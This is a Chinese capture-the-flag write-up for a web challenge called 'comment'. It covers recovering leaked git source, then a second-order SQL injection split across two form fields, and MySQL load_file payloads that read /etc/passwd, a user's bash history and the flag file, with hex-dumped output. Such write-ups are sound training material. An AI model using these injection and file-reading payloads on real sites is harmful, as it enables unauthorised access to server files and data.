攻防世界web进阶区comment详解
攻防世界web进阶区comment详解
wuming
发布于 2021-01-21 15:59:10
发布于 2021-01-21 15:59:10
题目
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详解
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只要我们输入任何一个评论，他就会让我们进行登录， 我们可以通过他的文字提示，发现少了三位，一般我们都会上数字
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我们发现他666的时候有一个302的跳转 登录以后，感觉也没有什么可以注入的 正常也没有回显，这时候，我们的御剑传来了好消息
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有个.git,应该是git源码泄露。使用githack 下载源代码。
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<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
哦~这里提示，他的git跑路了，所以他这个源码下载的不全！ 我们找到大佬的修复脚本 将commit补上 这里涉及到git修复
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我们使用大佬脚本修复的时候，记得使用linux进行，win亲测不行
见这里： https://www.cnblogs.com/Tkitn/p/11648456.html
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执行这一条命令
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我们执行这一条，后面的是复制上面commit的第一个内容
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执行完之后的效果， 和第一副图就有了区别
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我们的代码就全了
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<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
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这里很明显u才能在二次注入，他并没有对信息做出任何处理 但是这里有一个坑
#只能注释同一行，这里需要注释/**/来进行两行的注释 这是我们最后的语句
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";在CATEGORY“处存入我们的恶意payload的前部分 在评论处补充后半部分
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发现有一个ctf的数据库
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首先常规的读文件payload:123',content=(select( load_file('/etc/passwd'))),/*
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根据bash我们进行读取文件 www用户，读取他的history文件，里面存着他所有的命令 构造123’,content=(select (load_file(‘/home/www/.bash_history’))),/* 得到
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cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start history命令说明原本/tmp/html/目录下有个.DS_Store文件。那么读取他
payload:123',content=(select (load_file('/tmp/html/.DS_Store'))),/*
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发现读不全 我们进行编码一下 长度不够，那么hex编码一下。
payload:123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
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得到
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释
* 00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000104445344420000000100000000000000000000000000000000000000000000000200000020000000600000000000000001000000800000000100000100000000010000020000000000000000020000080000001800000000000000000100002000000000010000400000000001000080000000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000000000010080000000000001010000000000000102000000000000010400000000000001080000000000000110000000000000012000000000000001400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
*/发现了一个 flag flag_8946e1ff1ee3e40f.php
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我们读取这个文件试试 这个文件是从/tmp/html目录中copy过来的，我们回到/var/www/html中读取flag。不过发现并没有读取成功。想了一下，可能是因为文件过大。继续用hex编码，成功得到flag.
payload： 123’,content=(select hex(load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’))),/*
得到：
3C3F7068700A0924666C61673D22666C61677B30646431346161653831643934393034623334393231313765326133643464667D223B0A3F3E0A解码得到
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这里也可以直接在/tmp/html目录读取,但是tmp有时会自动清除。
tmp目录解出来的不一样，是个坑
cp：
Linux cp命令主要用于复制文件或目录。
语法
cp [options] source dest
或
cp [options] source... directory
参数说明：
-a：此选项通常在复制目录时使用，它保留链接、文件属性，并复制目录下的所有内容。其作用等于dpR参数组合。
-d：复制时保留链接。这里所说的链接相当于Windows系统中的快捷方式。
-f：覆盖已经存在的目标文件而不给出提示。
-i：与-f选项相反，在覆盖目标文件之前给出提示，要求用户确认是否覆盖，回答"y"时目标文件将被覆盖。
-p：除复制文件的内容外，还把修改时间和访问权限也复制到新文件中。
-r：若给出的源文件是一个目录文件，此时将复制该目录下所有的子目录和文件。
-l：不复制文件，只是生成链接文件。.DS_Store
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件，目的在于存贮目录的自定义属性，例如文件们的图标位置或者是背景色的选择。
相当于 Windows 下的 desktop.ini。本文参与 腾讯云自媒体分享计划，分享自作者个人站点/博客。
原始发表：2020-08-11，如有侵权请联系 cloudcommunity@tencent.com 删除
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